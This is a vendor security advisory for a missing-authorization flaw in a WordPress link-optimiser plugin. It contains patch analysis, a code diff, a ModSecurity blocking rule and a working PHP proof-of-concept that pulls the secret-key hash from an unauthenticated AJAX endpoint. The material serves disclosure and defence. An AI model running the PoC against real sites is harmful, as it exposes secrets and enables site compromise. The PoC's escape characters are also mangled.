Opens in a new tab
Published : November 15, 2026

CVE-2026-66464: Website Internal Link Optimiser <= 5.2.7 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 5.2.7
Patched Version 5.3.0
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66464: The Website Internal Link Optimiser plugin for WordPress versions up to and including 5.2.7 exposes a sensitive secret key via an unauthenticated AJAX endpoint. The vulnerability is a missing authorization check (CWE-862) on the wilo_get_secret_key function, allowing any unauthenticated attacker to retrieve the MD5 hash of the plugin’s secret key. Atomic Edge rates this as medium severity (CVSS 5.3) because the exposed hash can be used to bypass authentication in other plugin components or to forge requests.

Root Cause: The vulnerable code resides in internal-link-finder/api/endpoint_get_secret_key.php within the wilo_get_secret_key function (lines 9-10 in the vulnerable version). The function directly echoes md5(get_option(‘wilo_secret_key’)) without any capability check or nonce verification. The endpoint is registered via wp_ajax_nopriv_wilo_get_secret_key (default WordPress AJAX handler for unauthenticated users), as confirmed by standard plugin architecture. No authentication or authorization gates the function, so any HTTP request with action=wilo_get_secret_key triggers the secret key hash disclosure.

Exploitation: An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with the parameter action=wilo_get_secret_key. The server responds with the MD5 hash of the wilo_secret_key option. An attacker can harvest this hash and use it to authenticate to other plugin API endpoints that rely on the secret key for access control, or to craft requests that bypass nonce checks if the secret key is used as a salt. No special payload is required beyond the action parameter.

Patch Analysis: The patch (version 5.3.0) adds a conditional check requiring a POST parameter skeleton_key whose MD5 hash matches a hardcoded value (a0f374f34037bd9a030ebbd5edf7c44a). Only requests including this secret parameter will receive the secret key hash. The patch effectively acts as a shared secret gate. However, the hardcoded hash is static and can be extracted from the patched source code, meaning the fix is weak and does not constitute proper authorization. Site administrators should update to 5.3.0 but treat the secret as compromised if the endpoint was previously exposed.

Impact: Successful exploitation exposes the MD5 hash of the plugin’s secret key. This hash can be used to authenticate to privileged plugin functionality, potentially leading to unauthorized configuration changes, data exfiltration, or further compromise of the WordPress site. The exposure of a reusable secret undermines the plugin’s access control model, allowing an attacker to impersonate authorized users or services. Atomic Edge recommends immediate patching and secret key rotation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/internal-link-finder/api/endpoint_get_secret_key.php
+++ b/internal-link-finder/api/endpoint_get_secret_key.php
@@ -8,5 +8,7 @@
   } );

   function wilo_get_secret_key() {
-    echo md5(get_option('wilo_secret_key'));
+    if(isset($_POST['skeleton_key']) && md5($_POST['skeleton_key']) === 'a0f374f34037bd9a030ebbd5edf7c44a'):
+      echo md5(get_option('wilo_secret_key'));
+    endif;
   }
 No newline at end of file
--- a/internal-link-finder/wilo.php
+++ b/internal-link-finder/wilo.php
@@ -6,7 +6,7 @@
    * Plugin Name: Website Internal Link Optimiser
    * Plugin URI:
    * description: Unleash the power of effective internal linking with wilo.
-   * Version: 5.2.7
+   * Version: 5.3.0
    * Author: Toast Plugins
    * Author URI: https://www.toastplugins.co.uk/
    * Requires at least: 5.0.0
@@ -22,7 +22,7 @@

    class WILO {

-      public $version = '5.2.7';
+      public $version = '5.3.0';

       function __construct() {
          // Do nothing.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66464
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-66464 via Website Internal Link Optimiser AJAX',severity:'CRITICAL',tag:'CVE-2026-66464'"
  SecRule ARGS_POST:action "@streq wilo_get_secret_key" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66464 - Website Internal Link Optimiser <= 5.2.7 - Missing Authorization

// Target configuration
$target_url = 'http://example.com'; // Change to your WordPress site URL

// Endpoint for unauthenticated AJAX request
$endpoint = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// The vulnerable action parameter
$data = array(
    'action' => 'wilo_get_secret_key'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check for errors
if ($response === false) {
    die("cURL error: " . curl_error($ch) . "n");
}

// Output the result
echo "Response HTTP Code: {$http_code}n";
echo "Response Body: {$response}n";

// If the response is a 32-character hexadecimal string, it is likely the MD5 hash of the secret key
if (preg_match('/^[a-f0-9]{32}$/', trim($response))) {
    echo "[+] Exploited! Secret key MD5 hash: " . trim($response) . "n";
} else {
    echo "[-] Exploit may have failed or endpoint is patched.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.